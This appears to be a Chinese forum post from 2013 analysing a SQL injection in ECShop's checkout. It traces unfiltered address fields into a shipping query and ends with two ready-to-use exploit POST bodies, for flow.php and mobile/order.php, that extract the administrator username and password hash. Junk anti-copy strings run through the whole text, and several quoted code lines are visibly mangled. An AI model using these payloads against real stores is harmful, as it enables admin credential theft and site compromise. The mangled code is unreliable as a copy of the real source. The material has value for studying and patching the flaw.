找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2384|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。. C9 i% v3 H( G4 U; r( a

% q! ~, Z5 b4 O3 @. ?    漏洞关键文件:
2 g7 o; i/ `! f  z* L  i7 d; G; b. f: a
    /includes/lib_order.php
" b4 ^$ Q9 L' b1 F2 G/ ^9 h) K
/ J* C0 o' c  P% Z! J    关键函数:' w6 W5 _/ ?+ A. h# ?1 p

6 c& E9 V& g- Q% Z* W$ ]2 o* I+ a / a1 S- q# G: `  U9 w9 }3 G/ ]: p
- D# k6 k! p# b
01     function available_shipping_list($region_id_list) : f, r/ |: E, y# _" L! q

' q4 p3 u2 u2 L: `02 {
$ A* o4 u  \/ e* C; e8 D1 e; ^1 i
2 U) Z) Q8 i& Z3 f# Z* g, |03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
& A7 v: N6 t9 o, T9 C: Q) \* B. S& t- p9 o# w8 Q
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
, K& H% j2 y* R9 H- l2 d  W, s& C6 c5 m6 v6 p9 u- j1 c# n
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . ; M! F9 m4 M8 S. {: r$ V$ o

5 X# @/ |. b7 M06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . % v- Z3 X$ S9 ]8 f

5 c; i8 O+ [4 y* B6 j$ L07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
7 f3 y$ ]$ R  O% A" j
: k7 X0 _1 m/ r0 N% R% z- I08             'WHERE r.region_id ' . db_create_in($region_id_list) . , n: [  s) O* C* S) [7 J  k

; ?) `0 C8 X; f/ e2 q% C09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; , r& Y5 O- T4 N; B& H
3 b6 k$ ^- Y: S4 U* R( B1 q, \  a) v
10   
3 A7 ^5 D. M+ b" O$ n/ U4 ]4 n/ a
, L) x: w  u& b, y3 F11     return $GLOBALS['db']->getAll($sql); ) e! D" j$ K: t1 Q/ y) L7 M: z

# M( I1 v( {, W2 P* R5 T12 } + W  S% K) J2 i7 i

  k7 x) G7 Y1 B' m; s7 D" l显然对传入的参数没有任何过滤就带入了查询语句。
# l) J! L" D5 b/ r+ I, ~# f4 ^
7 [% P0 z+ v! l" s* U% l下面我们追踪这个函数在flow.php中:) B  M0 \2 Y" O2 d7 w. H. n9 P
第531行:   : T! i/ A6 O) m% x- v/ D6 c
' B7 J( P4 _4 I
1 $shipping_list     = available_shipping_list($region);
7 X/ u" J% M6 x2 V! L: @
3 f- ^: j$ Z6 d / D! y/ D2 d2 V# D

. @5 U5 _9 U1 q" a( C' S ) h# K9 B$ }- R5 |

8 r: |1 N9 P# J; l  E再对传入变量进行追踪:
  M- n+ {' d3 h& H% D  |' v  }( B' g% i
第530行:   
, g' [8 [5 @* _/ M" }# N' g2 B) y7 \. h0 ^9 e* Z- w+ x& [: i+ t# {
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
( F7 F+ F( f8 I$ V/ m4 Q* i
) H% S, v8 d1 e) [1 G! v* K0 l   N, `& U9 e- ]1 P6 Q( k( }5 y5 S
, a5 r" k& L3 F0 R0 ^& v

$ P: c# u) |; |5 }3 I7 M* R( i* M! }4 T$ h5 I, \5 U
第473行:        
* |9 G/ f5 e0 Y9 v; k. s% O5 S+ T& I. k5 F2 o+ _) M) W) W
1 $consignee = get_consignee($_SESSION['user_id']);
5 a5 [  E9 h) s8 }6 M" ?" e5 K- c% ~* c( `$ T& _
到了一个关键函数:) k- Z) B% t' \- X: y
# i2 O2 {& ^2 M. K
/includes/lib_order.php; `" e1 ^" Z5 c- L  T

1 a0 ^* N8 |6 \0 w 1 |: H2 V- r! Y7 d# q# G9 J& z
  b+ W( V2 ]. g+ G
$ {* C5 u. Z) U* t  F2 @
& F: x- l/ d5 u6 k& ]
01 function get_consignee($user_id) ( K& f2 e' z, O4 i3 d7 @
* _0 b1 E% a, _/ n0 N
02 { ( Q$ R0 X- @! }% F" l1 Q2 h" L1 `

6 t2 x. E* o8 p" Y0 h2 z" v1 }03     if (isset($_SESSION['flow_consignee'])) 7 k7 _+ Q3 g- `0 o  a

9 d5 @6 ~8 G+ [8 Q4 I9 }04     {
" t: n/ }, }- q2 c1 G6 s# i8 `2 G7 M" [# p
05         /* 如果存在session,则直接返回session中的收货人信息 */
4 P) W- P) B0 b) e
) }( x+ j5 f. Q4 W& `06   
1 H: v5 w3 t$ N' O/ {# f( }. s) |- S9 ]4 r6 }$ k
07         return $_SESSION['flow_consignee']; 2 K  t% `( F% e! {
1 N4 W4 `1 C3 j
08     } 9 r( B7 \/ b1 ~/ ]6 ~6 f- t
5 s0 |; S9 A! d) L; K" B
09     else , _" V) j  y1 f2 f9 h
" G! E6 R; u, z: e) w
10     { 2 |+ \+ h7 S) H1 @8 z8 N! r
% G0 M* ]% Y5 B  M7 Q& b
11         /* 如果不存在,则取得用户的默认收货人信息 */ % E7 D& X5 l2 z. G# t" p

( |; p. F& G; D* {) V. s12         $arr = array(); * l$ [/ }! M1 l7 `9 d

  a& p# d% I9 ?13   5 C6 \' x( B* s
$ _8 I& a7 c5 d  l7 x5 B
14         if ($user_id > 0)
9 I/ R  p7 |% v; ?( B6 u  }9 M# K* k1 n5 M0 \6 Y1 |- L
15         {
( ~& Q% o& Y% n: w
. s6 n7 d( p. I8 Y5 ], @16             /* 取默认地址 */ ' h8 D0 d" P3 i. M5 w
' I. ^$ S$ }" E, s, }) N/ }8 V
17             $sql = "SELECT ua.*". 4 T, _2 D# V& E: c/ l6 g
6 a4 ^! A1 j3 `, n% @" X# c" d
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
. D9 x3 D! U- c" ^7 V. k$ O
4 X( r: u! D% N4 J3 X; ^19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; + v6 @$ m( A. p* e( c0 l3 H1 r

" I* V  y2 ^8 h0 ?20   : E" x: A- ^2 t; R: l# j
8 I+ b9 V6 R0 ^, }
21             $arr = $GLOBALS['db']->getRow($sql); ( C9 `7 K9 R  b( m( ~' c

) {3 l6 a7 a. A22         }
: v3 h) n( Y" V8 d  F4 a5 n  N  W3 a4 b# E9 N3 U1 Z
23   7 N6 Z# G+ u9 l" ]; G
8 M8 G9 b. a6 s- x5 d) n1 l9 s& @; J+ W
24         return $arr; " I4 ]1 y# w, G* C* i

$ P: A8 r: `( L. r& ]  v! R8 u4 H$ t) w25     }
7 x7 l- }  _5 \* P) x4 L
1 d. v( X4 Q6 J+ X2 f3 ]6 ~26 } / F2 {6 v( x9 S, p" ?7 m
! R' @6 p* y0 w: u7 \- b/ ?, m6 [) D
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?- X% c3 [8 U% e* ?% g+ I% U3 x3 }
3 ?( K: {1 p+ E

! s+ B4 V4 p6 E: X7 }, c
/ N$ b. P0 J- X& c6 S关键点:5 p# b' E; r. }! f6 g" L  d
0 z% T# X& _" N# [: X/ d9 a
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);1 @. ^& |" {8 N: H
4 X4 D+ b" a, z7 {0 n
这里对传入参数反转义存入$_SESSION中。* @! E* |( w% ?$ r) I7 c
/ @2 x0 }6 I: G1 f( w7 K6 B

/ b7 G5 ]: A& B% Q3 ?9 K$ B. L
; t: L1 F# F9 g: X/ Z& F* Z然后看下:
5 `0 z1 Q. ?+ x% n9 }- S' k0 |/ [7 ~; H2 ]% `/ o
& i2 N# X/ F. C" \+ C6 N
9 q8 {/ l2 W- X2 M: y# |' c
   
0 S% Y' g5 c% Y, N
" s% h' u& `5 W, l01 $consignee = array(
0 r4 b6 E3 \5 ~( D7 B. e! ^# L* e1 M( i6 f4 B
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
1 d0 t8 T; z; l& }! E$ ]: m. t. ?1 R4 M/ H2 T2 m
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
) W* }+ h6 O7 g0 J) y8 Y; w# c- R8 [% E$ F- n
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
, ~; J8 B6 c6 G& S. ?4 L2 z5 l* Z+ r( q" g" V
05         'province'      => empty($_POST['province'])   ? '' _POST['province'], ) V( `3 k1 N& q% h* |! G
) x. ^5 L" j4 ?! G  ~" j+ x
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
# S; q# I$ @. _! I! h. m0 M' Z$ L, E7 ?7 h+ h7 a# b8 h7 J* g
07         'district'      => empty($_POST['district'])   ? '' _POST['district'], 1 ]6 W6 l" y; D1 g
4 s: X2 n. J& ]
08         'email'         => empty($_POST['email'])      ? '' _POST['email'], 4 z, G4 Z4 t- J/ O# _) j
7 L( I, L5 m3 X
09         'address'       => empty($_POST['address'])    ? '' _POST['address'], ( K/ I8 A* t/ Y$ q( ]. b

! K  }' @. j; y$ X* z, x10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), 9 X5 u1 r4 o" m5 h; a! B

/ d0 J- h. ]% ^. s6 s2 }11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
2 k' z0 ~* q3 y
: ^; p( U8 ]8 [12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), " o) N2 u$ F, a

  X. R5 u# B  Q+ W3 [/ v13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
4 c6 P) U" N! o# D1 J& `  b) N7 f
) Z7 V/ t9 q  ~14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], + v, v- [( g4 o1 c" g

2 i! ]0 K; j7 e15     ); ; E+ x' b* O- N( M1 F5 ^
/ X  l' p- S% ]; w5 N7 s
好了注入就这样出现了。7 J) l; S( `5 V! M+ M, Z
  U* M) L  L* s" x
==================) q& w8 ?0 ]6 U% e
: |- |7 E, a8 U# g4 D! {' X
注入测试:) {5 C' B7 P9 E+ w
/ C3 l0 Z0 \8 O$ a5 G
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
- O3 T* D3 d/ Z/ K$ i- ~* R, v0 v4 y% l  B4 H( G
测试程序:ECShop_V2.7.3_UTF8_release1106
- \$ D# m1 o4 M/ P  A, L  Q1 _* |9 N/ X& ?
/ ?" K$ x& S3 E. f6 W! f) [0 c% V
7 T/ `. _+ ^! O" L  M
1.首先需要点击一个商品加入购物车- a$ v  b0 A+ x* |
% G" \+ F0 \/ f8 _$ y4 k
2.注册一个会员帐号# T* v) j0 Z6 [
+ T% w0 T+ ]; C2 y- ], V' E
3.post提交数据
; T9 Q- Q+ Q' u0 g
9 U6 h+ w6 N$ K+ o6 O3 a& `
, [* |1 ^4 C4 T
' F; H( T' t2 Q1 http://127.0.0.1/ecshop/flow.php 7 R7 h8 U. t! M$ W2 h7 X
3 }% E# b) K4 |7 F6 P, k
2   
) v8 V" R  n7 S) C/ ?6 ~) z5 Y4 V2 F; I; C& S; B
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= : H5 r) {1 n1 [/ X: u
举一反三,我们根据这个漏洞我们可以继续深入挖掘:' D: M# h9 q7 }; Z2 m+ a

: `# Y1 c, S/ B7 x% z我们搜寻关键函数function available_shipping_list()
$ p0 `9 i1 L2 j" F. f5 a+ t+ s8 R& z$ d1 p
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
( @+ Z9 X  P5 U3 r5 E4 r; }9 g, S; ?( B+ ]) W
利用exp:
$ p3 `0 ?, s' C* N4 k
7 B) y# d) _) E7 ], I3 J" w" i& _1.点击一个商品,点击购买商标
; `) e8 h- e3 m, \7 A' v8 D+ V8 b& e, i; {0 E
2.登录会员帐号: J. G0 V9 ]! H  H7 k3 C0 p  [$ s

. P( E% d% M) o; L3.post提交:
4 i6 M- F% j4 W: ~8 N/ q( u* c. `) ?
http://127.0.0.1/ecshop/mobile/order.php
  H- t7 A4 _1 N$ m8 u+ X- K
( j0 |1 f8 K- a$ Y% y, a% V 5 q' y) C! F6 b# T) x* m0 z

- v: @4 R) F9 l2 O+ Zcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
8 Z! ]  Z- }, g2 k
& D( I4 I$ m" c5 T% g' D* @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表